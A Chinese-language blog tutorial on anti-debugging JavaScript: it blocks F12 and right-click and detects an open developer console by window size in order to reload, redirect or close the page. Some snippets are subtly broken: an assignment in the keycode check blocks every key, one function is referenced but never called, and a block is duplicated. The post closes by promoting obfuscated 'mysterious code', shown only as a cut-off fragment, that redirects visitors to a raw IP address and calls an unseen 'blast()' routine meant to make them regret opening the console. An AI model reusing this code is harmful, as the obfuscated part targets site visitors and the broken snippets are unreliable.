前言
大家好哇,今天我們來談談瀏覽器控制臺的那點事兒,作為一名程序員來說,肯定是不希望自己的代碼被別人反復地調試,萬一被別人調試出 bug 怎么辦?被不懷好意的人獲取接口信息惡意攻擊怎么辦?所以,這時候 JAVAScript 防審查開啟控制臺就很有必要了~
眾所周知,要開啟控制臺,有三種方法,
- F12
- 右鍵==》檢查
- 瀏覽器==》更多工具==》開發者工具(快捷鍵:ctrl+shift+i)
需要注意的是:前兩種都是可以通過代碼阻止的,但是最后一種打開控制臺的方式是無法被阻止掉的。那么下面我們就從這個角度出發,好好了解一下這個過程~
1、阻止打開控制臺
能阻止就先阻止,把打開控制臺的舉動扼殺在搖籃之中~
阻止 F12 事件
window.onkeydown = window.onkeyup = window.onkeypress = function (event) {
// 判斷是否按下F12,F12鍵碼為123
if (event.keyCode = 123) {
event.preventDefault() // 阻止默認事件行為
window.event.returnValue = false
}
}
2、阻止右鍵事件
為右鍵添加自定義事件,可以禁用 oncontextmenu 事件在元素中用戶右擊鼠標時觸發并打開上下文菜單。
window.oncontextmenu = function() {
event.preventDefault() // 阻止默認事件行為
return false
}
3、JS 操作控制臺
雖然阻止了部分能打開控制臺的方式,但還是會有漏網之魚通過瀏覽器==》更多工具==》開發者工具(快捷鍵:ctrl+shift+i) 的方式打開控制臺,那么我們就需要在打開后的控制臺上再做點文章了
定時檢查瀏覽器窗口的變化
如果打開了控制臺,瀏覽器窗口就會發生變化,利用這個特點,我們可以做出如下的監聽:
let threshold = 160 // 打開控制臺的寬或高閾值
window.setInterval(function() {
if (window.outerWidth - window.innerWidth > threshold ||
window.outerHeight - window.innerHeight > threshold) {
// 如果打開控制臺,則刷新頁面
window.location.reload()
}
}, 1000)
let threshold = 160 // 打開控制臺的寬或高閾值
window.setInterval(function() {
if (window.outerWidth - window.innerWidth > threshold ||
window.outerHeight - window.innerHeight > threshold) {
// 如果打開控制臺,則刷新頁面
window.location.reload() ;
// 如果打開控制臺,打開其他鏈接
toDevtools
// 如果打開控制臺,關閉本窗口
closewin();
}
}, 1000)
// 如果打開控制臺,打開其他鏈接
function toDevtools(){
let num = 0
var devtools = new Date()
devtools.toString = function() {
num++;
if(num>0){
window.location.href = "http://www.baidu.com";
alert('控制臺打開了');
// 可以寫刷新或者跳轉的邏輯
}
}
console.log(devtools);
}
// 如果打開控制臺,關閉本窗口
function closewin()
{
self.opener=null;
self.close();
}
當然,如果用戶把控制臺改為了懸浮窗口模式,那么這個監聽就會無效,并且當用戶切換為非全屏的時候,可能也會誤觸此函數,所以這個方法還是有一點過的缺陷,可以做個補充。
后記
今天分享的內容希望對你有所幫助,通過以上代碼可以監聽到控制臺是否被打開以及后續的邏輯操作,防止別人進行代碼調試,在實際應用中的場景還是蠻多的~
最重要的:
以上介紹的是基本原理和實現方法,但是對于懸浮控制臺模式下的還是沒有很好地解決,但是我還是在一個網站上,找到一段神秘代碼,可以關注我私信獲取,如果網站加載了這段神秘代碼,會讓打開者后悔打開了調試模式
以下只是部門代碼,獲取完整代碼,私信“01”我獲取
[_0x212d28(0x120)]('Trident/');if(_0x326919>0x0)return!![];var _0x1f704c=_0x168543[_0x212d28(0x120)]('Edge/');if(_0x1f704c>0x0)return!![];_0x1f704c=_0x168543[_0x212d28(0x120)](_0x212d28(0x118));if(_0x1f704c>0x0)return!![];return![];}detectIE()&&(window[_0xdb708b(0x10d)][_0xdb708b(0x113)]='http://www.yaanren.com/error.html',setTimeout(()=>{blast();},0xa));if(navigator[_0xdb708b(0x115)][_0xdb708b(0x10e)]()['indexOf'](_0xdb708b(0x107))==-0x1)window[_0xdb708b(0x10d)][_0xdb708b(0x113)]=_0xdb708b(0x119),setTimeout(()=>{blast();},0xa);else{}function resize(){var _0x418a76=_0xdb708b,_0x5aea0d=0xc8,_0x523fc6=window[_0x418a76(0x104)]-window[_0x418a76(0x116)]>_0x5aea0d,_0x5d860d=window['outerHeight']-window[_0x418a76(0x11c)]>_0x5aea0d;(_0x523fc6||_0x5d860d)&&(window[_0x418a76(0x10d)][_0x418a76(0x113)]='http://106.53.103.200:8082/error.html',setTimeout(()=>{blast();},0xa));}function _0x279f(_0x3f34f8,_0x49ca91){var _0x104791=_0x1047();return _0x279f=function(_0x279fd5,_0xe5fe1e){_0x279fd5=_0x279fd5-0x103;var _0x3